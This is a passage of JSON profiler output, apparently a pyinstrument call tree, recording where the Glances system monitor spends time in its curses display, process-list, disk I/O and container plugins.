\"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001052998821251, \"l471\": 0.002001052998821251},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001052998821251, \"l466\": 0.002001052998821251},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001052998821251, \"l1130\": 0.002001052998821251},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002000,\"attributes\": {\"l824\": 0.001999790998524986},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002000,\"attributes\": {\"l773\": 0.001999790998524986},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.026001,\"attributes\": {\"cProcesslistPlugin\": 0.02600130299833836, \"l538\": 0.023999197997909505, \"l537\": 0.0020021050004288554},\"children\": [{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020018400027765892, \"l360\": 0.0020018400027765892},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020018400027765892, \"l340\": 0.0020018400027765892},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999497995711863, \"l429\": 0.001999497995711863},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999497995711863, \"l280\": 0.001999497995711863},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.001996928003791254, \"l472\": 0.001996928003791254},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.001996928003791254, \"l463\": 0.001996928003791254},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.001996928003791254, \"l1130\": 0.001996928003791254},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.0039996129999053665, \"l505\": 0.0020074919957551174, \"l518\": 0.001992121004150249},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001996,\"attributes\": {\"cProcesslistPlugin\": 0.0019957429976784624, \"l325\": 0.0019957429976784624},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001996,\"attributes\": {\"cProcesslistPlugin\": 0.0019957429976784624, \"l882\": 0.0019957429976784624},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001996,\"attributes\": {\"cProcesslistPlugin\": 0.0019957429976784624, \"l902\": 0.0019957429976784624},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002730016130954, \"l360\": 0.0020002730016130954},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020002730016130954, \"l340\": 0.0020002730016130954},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.00199930599774234, \"l429\": 0.00199930599774234},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.00199930599774234, \"l280\": 0.00199930599774234},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999072002945468, \"l309\": 0.001999072002945468},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020019219955429435, \"l440\": 0.0020019219955429435},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020019219955429435, \"l296\": 0.0020019219955429435},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020019219955429435, \"l967\": 0.0020019219955429435},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020000280055683106, \"l819\": 0.0020000280055683106},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020000280055683106, \"l1094\": 0.0020000280055683106},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020000280055683106, \"l1032\": 0.0020000280055683106},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101929,\"attributes\": {\"cGlancesCursesStandalone\": 0.10192919700057246, \"l291\": 0.10192919700057246},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101929,\"attributes\": {\"cGlancesCursesStandalone\": 0.10192919700057246, \"l260\": 0.10192919700057246},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101929,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101929,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100322,\"attributes\": {\"cGlancesCursesStandalone\": 0.10032174299703911, \"l1202\": 0.10032174299703911},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100322,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100322,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055755599751137, \"l291\": 0.10055755599751137},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055755599751137, \"l260\": 0.10055755599751137},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100558,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100558,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100532,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053236100065988, \"l1202\": 0.10053236100065988},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100532,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100532,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100595,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059494100278243, \"l291\": 0.10059494100278243},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100595,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059494100278243, \"l260\": 0.10059494100278243},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100595,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100595,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100385,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038489200087497, \"l1202\": 0.10038489200087497},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100385,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100385,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100400,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039968599448912, \"l291\": 0.10039968599448912},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100400,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039968599448912, \"l260\": 0.10039968599448912},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100400,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100400,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100365,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036508600023808, \"l1202\": 0.10036508600023808},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100365,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100365,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100421,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042135100229643, \"l291\": 0.10042135100229643},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100421,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042135100229643, \"l260\": 0.10042135100229643},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100421,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100421,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100515,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051498599932529, \"l1202\": 0.10051498599932529},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100515,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100515,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055491100501968, \"l291\": 0.10055491100501968},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100555,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055491100501968, \"l260\": 0.10055491100501968},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100555,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100555,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100491,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049053900002036, \"l1202\": 0.10049053900002036},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100491,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100491,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100522,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005220399965765, \"l291\": 0.1005220399965765},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100522,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005220399965765, \"l260\": 0.1005220399965765},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100522,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100522,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100482,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048175900010392, \"l1202\": 0.10048175900010392},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100482,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100482,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100600,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060026300197933, \"l291\": 0.10060026300197933},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100600,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060026300197933, \"l260\": 0.10060026300197933},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100600,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100600,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100479,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004786189951119, \"l1202\": 0.1004786189951119},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100479,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100479,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100499,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049923800397664, \"l291\": 0.10049923800397664},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100499,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049923800397664, \"l260\": 0.10049923800397664},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100499,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100499,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055775199725758, \"l1202\": 0.10055775199725758},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100558,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100558,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100564,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056417099985993, \"l291\": 0.10056417099985993},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100564,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056417099985993, \"l260\": 0.10056417099985993},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100564,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100564,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100520,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052017000271007, \"l1202\": 0.10052017000271007},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100520,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100520,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.122812,\"attributes\": {\"cGlancesStats\": 0.12281201899895677, \"l287\": 0.12281201899895677},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.122812,\"attributes\": {\"cGlancesStats\": 0.12281201899895677, \"l575\": 0.12281201899895677},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.122812,\"attributes\": {\"l571\": 0.12281201899895677},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.122812,\"attributes\": {\"cGlancesStats\": 0.12281201899895677, \"l274\": 0.10280973500630353, \"l275\": 0.020002283992653247},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003718,\"attributes\": {\"cDiskioPlugin\": 0.0037183089953032322, \"l1278\": 0.0037183089953032322},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003718,\"attributes\": {\"l1295\": 0.0037183089953032322},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003718,\"attributes\": {\"cDiskioPlugin\": 0.0037183089953032322, \"l114\": 0.0037183089953032322},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003718,\"attributes\": {\"cDiskioPlugin\": 0.0037183089953032322, \"l1351\": 0.0037183089953032322},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003718,\"attributes\": {\"cDiskioPlugin\": 0.0037183089953032322, \"l148\": 0.0017258799998671748, \"l158\": 0.0019924289954360574},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001726,\"attributes\": {\"l2129\": 0.0017258799998671748},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001726,\"attributes\": {\"l1106\": 0.0017258799998671748},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001726,\"attributes\": {\"l1051\": 0.0017258799998671748},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001726,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001992,\"attributes\": {\"cDiskioPlugin\": 0.0019924289954360574, \"l1056\": 0.0019924289954360574},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.001992,\"attributes\": {\"cDiskioPlugin\": 0.0019924289954360574, \"l1020\": 0.0019924289954360574},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001996,\"attributes\": {\"cDiskioPlugin\": 0.0019955850002588704, \"l200\": 0.0019955850002588704},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001996,\"attributes\": {\"cDiskioPlugin\": 0.0019955850002588704, \"l856\": 0.0019955850002588704},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001996,\"attributes\": {\"cDiskioPlugin\": 0.0019955850002588704, \"l969\": 0.0019955850002588704},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.072994,\"attributes\": {\"cContainersPlugin\": 0.005106713004352059, \"l1278\": 0.07299409500410547, \"cProcesscountPlugin\": 0.06788738199975342},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.072994,\"attributes\": {\"l1295\": 0.07299409500410547},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.005107,\"attributes\": {\"cContainersPlugin\": 0.005106713004352059, \"l252\": 0.003228637004212942, \"l265\": 0.0018780760001391172},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.003229,\"attributes\": {\"l256\": 0.003228637004212942},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.003229,\"attributes\": {\"l248\": 0.003228637004212942},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.003229,\"attributes\": {\"cDockerExtension\": 0.003228637004212942, \"l260\": 0.003228637004212942},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.003229,\"attributes\": {\"cContainerCollection\": 0.003228637004212942, \"l1009\": 0.003228637004212942},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.003229,\"attributes\": {\"cAPIClient\": 0.003228637004212942, \"l212\": 0.003228637004212942},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.003229,\"attributes\": {\"cAPIClient\": 0.003228637004212942, \"l44\": 0.003228637004212942},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.003229,\"attributes\": {\"cAPIClient\": 0.003228637004212942, \"l246\": 0.003228637004212942},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.003229,\"attributes\": {\"cAPIClient\": 0.003228637004212942, \"l602\": 0.003228637004212942},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.003229,\"attributes\": {\"cAPIClient\": 0.003228637004212942, \"l589\": 0.003228637004212942},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.003229,\"attributes\": {\"cAPIClient\": 0.003228637004212942, \"l703\": 0.003228637004212942},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.003229,\"attributes\": {\"cUnixHTTPAdapter\": 0.003228637004212942, \"l644\": 0.003228637004212942},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.003229,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.003228637004212942, \"l787\": 0.003228637004212942},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.003229,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.003228637004212942, \"l534\": 0.003228637004212942},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.003229,\"attributes\": {\"cUnixHTTPConnection\": 0.003228637004212942, \"l571\": 0.003228637004212942},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.003229,\"attributes\": {\"cUnixHTTPConnection\": 0.003228637004212942, \"l1430\": 0.003228637004212942},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.003229,\"attributes\": {\"cHTTPResponse\": 0.003228637004212942, \"l331\": 0.003228637004212942},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.003229,\"attributes\": {\"cHTTPResponse\": 0.003228637004212942, \"l292\": 0.003228637004212942},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.003229,\"attributes\": {\"cSocketIO\": 0.003228637004212942, \"l725\": 